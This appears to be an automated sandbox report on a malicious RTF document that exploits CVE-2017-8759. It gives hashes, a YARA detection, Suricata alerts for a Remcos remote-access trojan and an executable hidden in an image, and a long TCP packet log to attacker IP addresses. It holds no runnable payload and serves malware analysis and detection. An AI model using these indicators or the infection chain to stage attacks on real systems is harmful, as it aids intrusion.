                    SHA-256:40963F2E8E44D670F2A7593EFBC6821EBE7D01DC6E934BE430C64CD6E038622A
                    SHA-512:2F1948438763AF76894AF267DEF4FCB9B7BC12AC0CC7EE7776B6FCE51B0CC57F40CE8845DF7122D6C2DDC9497607381884C9737854B44908783EBBE8F337D13A
                    Malicious:true
                    Yara Hits:
                    • Rule: INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2, Description: detects CVE-2017-8759 weaponized RTF documents., Source: C:\Users\user\Desktop\~WRD0000.tmp, Author: ditekSHen
                    Antivirus:
                    • Antivirus: Avira, Detection: 100%
                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New

                    C:\Users\user\Desktop\~WRD0000.tmp:Zone.Identifier

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:ASCII text, with CRLF line terminators
                    Category:modified
                    Size (bytes):26
                    Entropy (8bit):3.95006375643621
                    Encrypted:false
                    SSDEEP:3:ggPYV:rPYV
                    MD5:187F488E27DB4AF347237FE461A079AD
                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                    Malicious:true
                    Preview:[ZoneTransfer]....ZoneId=0

                    Static File Info

                    General

                    File type:Rich Text Format data, version 1
                    Entropy (8bit):2.791497690568363
                    TrID:
                    • Rich Text Format (5005/1) 55.56%
                    • Rich Text Format (4004/1) 44.44%
                    File name:erthings.doc
                    File size:99'423 bytes
                    MD5:25a6c39dbc117a7596c857dbec4e5d93
                    SHA1:7f72c84fb222f0dd96a31e78b34473bde3e0fc81
                    SHA256:a0a088ddefea91b081ce3eef407d62a9ebbab95b010c23d4afcbaed4896ea61f
                    SHA512:14b5c53097767e1aba16ce2e5f25a0c7a66cb1011303bea0bddc1d9b08b50a20aefce7c87f643721eb7331fceafd85e1a24b4db2f3d6569939008ce1a394b1e6
                    SSDEEP:768:7wD3LgZhLO24H7ZaPXAQm1++7Lkq9+EH0T0Rbu:7s3LgZhLZ4bZ2ADY+H8EHxRy
                    TLSH:BBA30258DB8F45A1CF54A23B036B098989FCB77AF21105BAB46C837137ECD2D586987C
                    File Content Preview:{\rtf1............{\mrSp675231630 \=}.{\127717550<?7?]?4)['5*?~@/0.$?5|[%5|<%!/$0!6%5!48-&._+?65[#_.%/4?4../_?)/2#...+$?._4]?&[,?]5%?&??~;(...8.@.>?48&'[:./-<):;1$-64$2?5504?:*_]???%%??6[!//2+5@.5?*250'%0<-^]9'.`(._/3$;.?16?>5/|009?!@.^.8&7!?.%*)!%$.2;8(%

                    File Icon

                    Icon Hash:2764a3aaaeb7bdbf

                    Static RTF Info

                    Objects

                    IdStartFormat IDFormatClassnameDatasizeFilenameSourcepathTemppathExploit
                    000001FD0hno

                    Network Behavior

                    Suricata IDS Alerts

                    TimestampProtocolSIDSignatureSource PortDest PortSource IPDest IP
                    2024-07-26T15:05:11.866568+0200TCP2020424ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M18049165192.3.176.154192.168.2.22
                    2024-07-26T15:05:19.673935+0200TCP2036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection4916718576192.168.2.22192.3.101.142
                    2024-07-26T15:05:19.832361+0200TCP2803304ETPRO MALWARE Common Downloader Header Pattern HCa4916880192.168.2.22178.237.33.50
                    2024-07-26T15:05:18.310919+0200TCP2036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection4916618576192.168.2.22192.3.101.142
                    2024-07-26T15:05:10.533268+0200TCP2049038ET MALWARE Malicious Base64 Encoded Payload In Image8049164198.46.176.133192.168.2.22
                    2024-07-26T15:05:09.535741+0200TCP2047750ET MALWARE Base64 Encoded MZ In Image8049164198.46.176.133192.168.2.22

                    Network Port Distribution

                    TCP Packets

                    TimestampSource PortDest PortSource IPDest IP
                    Jul 26, 2024 15:05:05.114586115 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.119488001 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.119561911 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.119762897 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.125179052 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637413979 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637428045 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637439013 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637484074 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.637505054 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.637887001 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637902021 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637913942 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637927055 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637934923 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.637938023 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637948990 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637952089 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.637959957 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.637969971 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.637986898 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.638004065 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.640407085 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.645284891 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.645298004 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.645339012 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.732275009 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.732290983 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.732301950 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.732314110 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.732362986 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.732450008 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.732477903 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.732497931 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.733465910 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.733521938 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.734008074 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.734019995 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.734030962 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.734042883 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.734057903 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.734072924 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739249945 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739263058 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739274025 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739300013 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739305019 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739310980 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739315987 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739324093 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739335060 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739337921 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739346027 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739352942 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739356995 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739367962 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739367962 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739389896 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739404917 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739408016 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739418983 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.739447117 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739475012 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.739475012 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825051069 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825103998 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825110912 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825115919 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825128078 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825150013 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825160027 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825463057 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825474024 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825484991 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825495958 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825501919 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825512886 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825515985 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825540066 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825551987 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825576067 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825611115 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825686932 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825700045 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825731039 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825743914 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825892925 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825937986 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.825959921 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.825994015 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.827127934 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827141047 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827151060 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827162981 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827176094 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827178955 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.827192068 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.827213049 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.827491999 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827505112 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827517033 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827539921 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.827553988 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.827583075 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827594995 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.827617884 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.827631950 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.828257084 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.828339100 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.828345060 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.828358889 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.828386068 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.828448057 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.828460932 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.828496933 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.835026979 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.835088968 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.916976929 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917150021 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917150021 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.917162895 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917174101 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917197943 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.917212963 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.917335033 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917346001 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917376041 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.917501926 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917520046 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917525053 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917535067 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917570114 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.917670965 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917700052 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917711973 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917712927 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.917737007 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.917870045 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917879105 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917891979 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917901993 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.917912006 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.917926073 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.918006897 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.918054104 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.922149897 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922162056 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922172070 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922182083 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922193050 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922202110 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.922204018 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922219038 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922219038 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.922229052 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922229052 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.922239065 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922245979 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.922249079 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922260046 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922261000 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.922270060 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.922278881 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.922292948 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.922308922 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.922346115 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.924516916 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924530029 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924540043 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924561024 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924566984 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.924571991 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924578905 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.924582958 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924592972 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924596071 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.924603939 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924608946 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.924614906 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924623013 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.924626112 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924635887 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:05.924637079 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.924649954 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.924664021 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:05.924700022 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.001621962 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.001640081 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.001651049 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.001811981 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.001924992 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.001939058 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.001950026 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.001971960 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.001983881 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.002682924 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.002734900 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.002794981 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.002835989 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.002882957 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.002909899 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.002922058 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.002945900 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.003194094 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.003209114 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.003242016 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.003489971 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.003503084 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.003513098 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.003540039 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.003552914 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.003891945 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.003905058 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.003915071 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.003942966 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.003954887 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.004302979 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.004349947 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.004842043 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.004854918 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.004864931 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.004875898 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.004885912 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.004894972 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.004908085 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.004920959 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.008066893 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.008081913 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.008090973 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.008101940 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.008112907 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.008122921 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.008124113 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.008132935 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.008136034 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.008148909 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.008164883 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.009016991 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.009031057 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.009041071 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.009051085 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.009058952 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.009061098 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.009073019 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.009077072 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.009083986 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.009090900 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.009094954 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.009104967 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.009107113 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.009115934 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.009134054 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.009373903 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.010011911 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.010025024 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.010035038 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.010045052 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.010055065 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.010063887 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.010065079 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.010075092 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.010077000 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.010085106 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.010092974 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.010094881 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.010107994 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.010130882 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.010130882 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.011013985 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011024952 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011034966 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011045933 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011056900 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011065006 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.011080027 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.011615992 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011627913 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011637926 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011646986 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011657000 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011665106 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.011667013 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011677980 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011682034 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.011687994 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011698961 CEST8049163192.3.176.154192.168.2.22
                    Jul 26, 2024 15:05:06.011702061 CEST4916380192.168.2.22192.3.176.154
                    Jul 26, 2024 15:05:06.011718988 CEST4916380192.168.2.22192.3.176.154
